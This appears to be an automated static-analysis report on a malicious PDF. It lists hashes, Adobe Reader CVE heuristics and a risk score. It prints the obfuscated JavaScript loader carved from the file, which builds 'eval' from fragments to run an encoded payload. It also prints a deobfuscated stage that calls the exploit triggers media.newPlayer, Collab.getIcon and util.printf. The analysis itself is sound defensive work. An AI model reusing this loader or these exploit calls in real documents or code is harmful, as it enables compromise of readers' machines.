Malicious PDF — malware analysis report

Static analysis result for SHA-256 20e77781d83ea897…

MALICIOUS

PDF

7.4 KB Created: 2010-10-12 14:06:23 Authoring application: Wtqogipn (via 4ef88Yfijemtdezi) First seen: 2013-03-04
MD5: b9a21acf1fd61cec6ff4d51fa886c508 SHA-1: 5e63f51042485b04c872d31ce503257e069c6b86 SHA-256: 20e77781d83ea89719341692ba2b8f69e708463f1b8516594cb431f4bbca109e
288 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell

The PDF document was flagged as malicious by an ML classifier with high confidence. Static analysis revealed embedded JavaScript, which is a common technique for delivering malicious payloads. The JavaScript action and embedded JS stream indicate that the file is designed to execute code. The specific intent of the JavaScript is unclear due to its size and potential obfuscation, but it is likely to download and execute a second-stage payload.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 7

  • media.newPlayer — CVE-2009-4324 critical CVE exact CVE_2009_4324
    PDF JavaScript calls media.newPlayer — CVE-2009-4324 is a use-after-free in Adobe Reader's multimedia plugin triggered by media.newPlayer(). Actively exploited as a zero-day in December 2009. (identified after JavaScript deobfuscation)
  • util.printf — CVE-2008-2992 critical CVE exact CVE_2008_2992
    PDF JavaScript calls util.printf() — CVE-2008-2992 is a stack buffer overflow in Adobe Reader triggered by a long format-specifier argument. Widely exploited in the wild after disclosure. (identified after JavaScript deobfuscation)
  • Pidief-style multi-CVE JavaScript dispatcher critical CVE likely PDF_PIDIEF_MULTI_CVE_DISPATCH
    A single JavaScript body branches on app.viewerVersion and invokes two or more of the canonical Reader sinks (Collab.collectEmailInfo, Collab.getIcon, util.printf with a field-width format string). This is the 2009-2010 Pidief.J multi-exploit landing template: a per-version dispatcher that fires the matching CVE chain for whichever Reader version opens the file.
  • Multi-CVE Adobe Reader JavaScript exploit kit critical PDF_ADOBE_READER_MULTI_CVE_JS_KIT
    One recovered JavaScript stage contains multiple version-gated Adobe Reader exploit branches. This is stronger evidence than independent API keywords: the PDF is selecting old Reader vulnerabilities by viewer version and running heap-sprayed Acrobat JavaScript exploit paths.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0011_000.js pdf-javascript-stream PDF /JS object 11 at offset 0x1390 2380 bytes
SHA-256: 052242b73e92d246880351baa657ff9fafc74b465ecfe0e9c0d374dbaae3205e
Preview script
First 1,000 lines of the extracted script
var kP = null;

try {

var f=new String("Func"+"tion");
var lML="rep"+"lac"+"e";
var bCF=0;
var lIL=this;
var dQH='';
var fAH=1;
function xKB(rEL,dYLY){return rEL+dYLY};
var xWN=String("le"+"ng"+"th");
function uJQJ(h){this.xWX=this.p=h};
var jOF=300;
var nUX=String("charA"+"t");

var vKH="va8r$ 8v@=qt@hZi@s8.@pZ;qr@MZX$=Z\'qg8e$t$P@aqg8e~N$\'Z;Zd$C~B@=@rZM$X$+8\'Zt~hqW@oqrZd8\'Z;Zl8CqXq=Zr8MqXZ+@\'Zuqm8Wqo8rZd~s$\'~;ql@KZPZ=8\'8p$aZgZe@N$u@m$\'~;~vZSqJ@ q=q Z2$4$1Z ~;8d$Q~Hq=$\'Z\'8;$z~G$T$=8\'Zj8o8iqn$\'Z;@h8I$T$=$\'$\'~;@b@C@FZ=80@;Zx8IZVqU8=8S~tZr@i8nqg@;~z8W@F@=q\'$sZu~b8s@t@r@\'Z;Zv8Y@J8=q\'@eqv@a$lZ\'q;Zx~W8N~=Z\'@l8eqnZg~tZhq\'Z;Zl~W8N@=$\'q\\$\\$xq\'Z;$z~O8J$=~\'qt~oqS$t8r~i8n~g8\'$;~z~G$TZM@=8\'~p8aqr~sqeqI~n~t$\'~;$e8LZYqT~=Z\'~fZr~o$mZC8h@a~r@Cqo8dZe~\'q;8lqO$FZ=~\'~c~h~a~r~CqoZdqe$A$tq\'q;8fZA@H~=~4@/@4$;@d$QZV8=$18+$48;ZbZ=Z2~0Z0@+$5~5$;~lZI~L8=q\'qd$o$c@\'8;qv@E8H$Uq=83q3@2q;8w@HqW$H~=q[$]8;~j$Q@BZ=~\'~\'8;@zqIZLq=q1q6Z;$pZWqVZ=q28;Zt$U~PZ=Z4~;qp8S$=~v$[@l$CZX8]~(~v8[Zl~K~Pq]Z)q;Zf$o@r$($d@SZLq=8b$C8F@;@d@S~L@<@ Zp@S~;q qd8SqLq+~+$)8{~v$a~rZ @k@H$E~J~=8v@[$d8C8Bq]@(~v$[8l@KqPq]q,ZdZS$L~,~tqrZu@e8)Z;8h@I@T@=q[@hqI$T$,qk~H~EZJ@]8[~zZG$Tq]$(@dZQ8H$)q;@;8}qfqoZr~(@d@SqL$=$08;@d8S~L8 ~<$ $h$I~T$[Zx@W~N@]$;Z ~d8SqLZ+8=ZpqW8VZ)~{$lqU~Pq=~h~IqT8[8z8WqFZ]@(Zd@SqL~,8p8W$V@)8;~rq=~p$a$r~s8e~I$n8tq(Zl$U$Pq,~z8IqL8)@;Zp~W$N$=8r$^~v@SZJ@;ZrZCZL@=Zp@W~N~.8t~oqS8t~r@i$n$gZ(qz$I~L8)q;Zr8C8L@=8(Zr~C$L~[@x~WqNq]8=~=@fZAZH$)Z Z?~ $\'$0Z\'$ 8+q ~r$CqL~ @:q qr~C~Lq;~w@H$W8H@.@p8u8s8h8(@r~C8LZ)~;8}Ztqr8y~ Z{Zj8Q8Bq=8nZe8w@ qS8tqr$i$n8g~(@l~WZNZ $+q 8w~H8W8Hq[@zqGZT@]@(Zl$WZN~)$)@;~aZp$p~[qvZY$Jq]~(q\'Zj~Q~B@=q\"q\'Z+Zj@Q~B$+Z\'~\"@;@\'@)@;Zv8.Zr~I@D8=$($j~Q~Bq[$zqWZF8]Z(8j8Q8B$[~x@W$N@]q-@vZE8H8U8)~)Z;$v8.8n~E@Xq=~(~jqQ8BZ[qz~W@FZ]Z(qb~CqF~,qj8Q$B$[8x8W~N~]$-@v~E$HqUZ)Z)$;~lqM8VZ(8)~;Z}Z Zc8a~tZc~hZ(ZjqG~R8)Z{$iZf@(qv@.Zn8E~Xq)8{@tZr$yq Z{qaqp~pq[8v@YZJ8]Z(@v$.Zn$E~Xq)Z;8}~ @c$a~tqc8h8(~j8G$R$)q{8a$p~pq.@aZlZe8rZt@($j@G$RZ)Z;~}8}q $e$lqs@eZ 8{8a@p~p~.qaZlZeZr$t~(~\'8NqOq 8C$O$DqE@\'~)$;@}$}8";

var nYD=/[8@\$~qZ]/g;
;


function pWL(vEP){hSH=dQH; for(dSL=vEP[xWN];dSL >= bCF;dSL--) hSH=xKB(hSH, vEP[nUX](dSL)); return hSH}


vYJ=pWL(String("lav"+"e"));

vKH=vKH[lML](nYD, dQH);
;


uJQJ.prototype={

xOZ : function(jIPO){

if(jIPO > jOF){

this.p[vYJ](vKH);

} else {

kP.xOZ(jIPO+fAH);

}
}
};

var kP=new uJQJ(lIL);
kP.xOZ(bCF);

} catch(jQB){

}
legacy_pdfkit_stage_000.js deobfuscated-js getPageWords-XOR Pidief stage normalized at offset 0x0 153 bytes
SHA-256: 18699f9d55ae1f1fd22bc427d0f09ac790fd8fafb1557dc66370fe40318c5f52
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
/* getPageWords-XOR Pidief stage normalized */
app.viewerVersion;
Collab.getIcon("N."+unescape("%09"));
media.newPlayer(null);
util.printf("%45000f", 1);

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